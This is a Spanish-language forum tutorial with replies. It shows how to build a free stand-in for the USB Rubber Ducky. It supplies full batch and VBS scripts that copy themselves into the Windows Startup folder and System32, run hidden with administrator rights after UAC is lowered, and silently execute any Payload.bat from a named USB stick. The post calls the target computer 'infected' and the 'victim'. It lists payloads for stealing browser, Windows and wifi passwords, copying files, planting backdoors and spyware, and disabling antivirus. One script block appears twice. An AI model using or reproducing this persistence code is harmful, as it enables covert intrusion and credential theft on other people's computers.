Hello, World.
Quizas muchos aquí conozcan o hayan oido acerca de la USB Rubber Ducky y su peculiar caracteristica de auto-ejecutar payloads con solo conectarla en una computadora o cualquier dispositivo que se pueda manejar usando un teclado; ya que esta emula ser uno.
Bueno, hoy veremos como hacer algo similar aunque sin gastar ni un dolar (bueno, necesitaremos una USB).
El codigo a usar seria el siguiente:
Esta es una versión comentada, ademas de que se toma la molestia de imprimirnos si ha detectado o no la USB
(Espero que se explique por si mismo o sino preguntar en los comentarios D:)
REM *** %WINDIR%/SYSTEM32 ***
@ECHO OFF
:WHILE
CLS
REM *** Darle a la variable USBDrive la letra de la Usb en el caso de que haya una Usb con el nombre indicado ***
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "HELLOWORLD"') do (set USBDrive=%%A:)
REM *** Si la variable esta vacia espera 3 segundos y vuelve a comprobar ***
if [%USBDrive%] EQU [] (
ECHO [*] USB: NO!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD: NO!
TIMEOUT>NUL /T 3
GOTO :WHILE
REM *** En el caso de que la variable no este vacia (Significa que tiene la letra de nuestra USB) ***
REM *** Ademas de que exista el payload que vamos a ejecutar (Esto evitará que nos muestre algun error, en el caso de que intentemos ejecutar un payload que no existe) ***
) else if exist %USBDrive%\Payload.bat (
ECHO [*] USB: OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD: OK!
REM *** Entonces 'Rompe' el bucle y ejecutamos el payload... ***
GOTO :BREAK
REM *** De no cumplirse las anteriores condiciones (Significa que la USB con el nombre esta insertada, pero el payload no existe) ***
) ELSE (
ECHO [*] USB: OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD: NO!
TIMEOUT>NUL /t 3
SET USBDrive=
GOTO :WHILE
)
:BREAK
REM *** Aqui es cuando se ejecuta el payload ***
REM *** EJECUTAR PAYLOAD OCULTO *** wscript.exe Ocultar.vbs %USBDrive%\Payload.bat
START %USBDrive%\Payload.bat
REM ** ESPERA 90 SEGUNDOS Y VUELVE A COMPROBAR, ESTO HACE QUE PODAMOS INSERTAR TANTAS VECES COMO QUERRAMOS LA USB (CON PAYLOADs DIFERENTES), SIN NECESIDAD DE ESPERAR A QUE LA PC SE REINICIE ***
CLS
ECHO PAYLOAD EJECUTADO
TIMEOUT>NUL /T 0
ECHO ESPERANDO 90 SEGUNDOS PARA VOLVER A COMPROBAR
TIMEOUT>NUL /NOBREAK /t 90
REM *** RESETEA EL VALOR DE LA VARIABLE ***
SET USBDrive=
GOTO :WHILE
Cuando no hay ninguna USB con el nombre indicado:
(http://s32.postimg.org/48dtiqwhx/image.png)
Cuando hay una USB con el nombre indicado, pero no existe el "payload.bat"
(http://s32.postimg.org/fme4z6b5x/image.png)
Ahora solo faltaria hacer que se ejecute al inicio de Windows y de preferencia en segundo plano.
Bien, usaremos este script de windows para ejecutar en segundo plano al siguiente bat.
Este lo pondremos en la ruta: "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\"
set objshell = createobject("wscript.shell")
objshell.run "C:/Windows/System32/Ejecutar.bat",vbhide
Con el archivo "Ejecutar.bat" nos encargaremos de ejecutar el archivo de espera "Esperar.bat" con permisos de administrador y en segundo plano.
Asi el payload (payload.bat) no solo se ejecutará en segundo plano sino que tambien se ejecutará con permisos de administrador.
PowerShell Start %WINDIR%/System32/Esperar.bat -Verb runAs -WindowStyle Hidden
Para esto es recomendado cambiar la configuracion del control de cuentas de usuario "UAC"
Podemos ir al panel de control/bla-bla-bla/bla-bla-bla/UAC
o
presionamos WIN + R y escribimos UserAccountControlSettings.exe
(http://s32.postimg.org/fywcdveo5/image.png)
Lo ponemos en la parte inferior :)
(http://s32.postimg.org/n9rupzv2d/image.png)
La versión 'final' para el archivo "Esperar.bar" seria esta (la otra estaba comentada y configurada para 'pruebas').
Como podran ver es claramente una versión simplificada.
REM *** %WINDIR%/SYSTEM32 ***
:WHILE
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "MIUSB"') do (set USBDrive=%%A:)
if [%USBDrive%] EQU [] (
TIMEOUT /T 3
GOTO :WHILE ) else if exist %USBDrive%\Payload.bat (
GOTO :BREAK) ELSE (
TIMEOUT /t 3
SET USBDrive=
GOTO :WHILE)
:BREAK
wscript.exe Ocultar.vbs %USBDrive%\Payload.bat
TIMEOUT /t 90
SET USBDrive=
GOTO :WHILE
Por si no lo notaron, para ejecutar el payload usaremos otro script de windows llamado "Ocultar.vbs".
Espero el nombre sea suficientemente descriptivo :D
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
Hasta aquí ya quedaria todo funcionando correctamente (en segundo plano e iniciando con windows)
Pero, copiar cada archivo a su ruta seria algo tedioso y la intencion es usar el menor tiempo posible y mientras se pueda ¿Por qué no?.
Nuevamente con la ayuda de un script de windows "Copiar.vbs" ejecutaremos un segundo en segundo plano el cual ya explicaré su función.
set objshell = createobject("wscript.shell")
objshell.run "Run.bat",vbhide
El archivo "Run.bat" será este:
REM UBICACION --> "CARPETA RAIZ USB"
REM Esto no es necesario, pero ... pero bueno es costumbre
@ECHO OFF & CLS
REM Le pasamos el valor del comando "CD" (nuestra ubicacion actual) a la variable "HERE"
FOR /F "TOKENS=*" %%%% in ('CD') DO (SET HERE=%%~%%)
REM Lo guardamos en un documento de texto para importarlo para luego saber la ruta de los archivos ya que al ejecutar como administrador un bat, nos cambia el directorio a "%WINDIR%\System32\"
ECHO %HERE%Docs>%tmp%\Current.txt
REM Usamos powershell para ejecutar como administrador un nuevo bat llamado "Copiar.bat" el cual se encuentra junto con los demas (arranque.vbs, ejecutar.bat, esperar.bat y ocultar.vbs) en la carpeta "Docs"
PowerShell Start %HERE%/Docs/Copiar.bat -Verb runAs -WindowStyle Hidden
EXIT
El archivo "Copiar.bat" seria:
REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"
REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat
REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%
REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"
REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat
REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%
REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Exit
REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Exit
Finalmente, todo lo que debemos hacer es poner el nombre de nuestra USB en el archivo "Esperar.bat" y hacer doble clic en el archivo "Copiar.vbs"
Como resultado final una vez 'infectado' un ordenador podremos correr un payload con solo conectar la USB, en segundo plano y con permisos de administrador.
¿Que podemos hacer?
Lo que nuestro conocimiento nos permita 8).
Ejms:
[ESTOS 4 PAYLOADS Y SUS DEMOS LAS PUEDES ENCONTRAR EN ESTA LISTA DE REPRODUCCION EN YT]
Robar contraseñas de navegadores
Robar contraseñas de windows
Extraer contraseñas de las redes wifi
Copiar o extraer archivos
[TAMBIEN...]
Crear backdoors
Instalar malware, spyware
Desactivar el AV
Tirarse la PC
Etc...
¿Desventajas?
El unico problema seria que la primera vez tenemos que iniciar el script manualmente, pero vamos; solo un par de clics y es TODO.
Lista de reproduccion con demostración, explicación, configuracion y ejecución de payloads
Saludos!!
Gracias Bro!, es genial lo que aportaste, pero tengo la duda para ejecutarlo por primera vez toca ejecutarlo como admin manualmente en el PC "victima"?
Para que funcione como debe es necesario que se deshabilite la funcionalidad UAC (User Account Control).
Si esto no se hace el usuario va a ser notificado por cada vez que intente ejecutarse el script Ejecutar.bat (porque intenta ejecutar Esperar.bat en modo privilegiado) y por cada vez que intente ejecutarse Esperar.bat (porque el comando diskpart es una aplicacion que puede hacer cambios en el equipo y porque Payload.bat posiblemente necesite los privilegios de administrador).
Saludos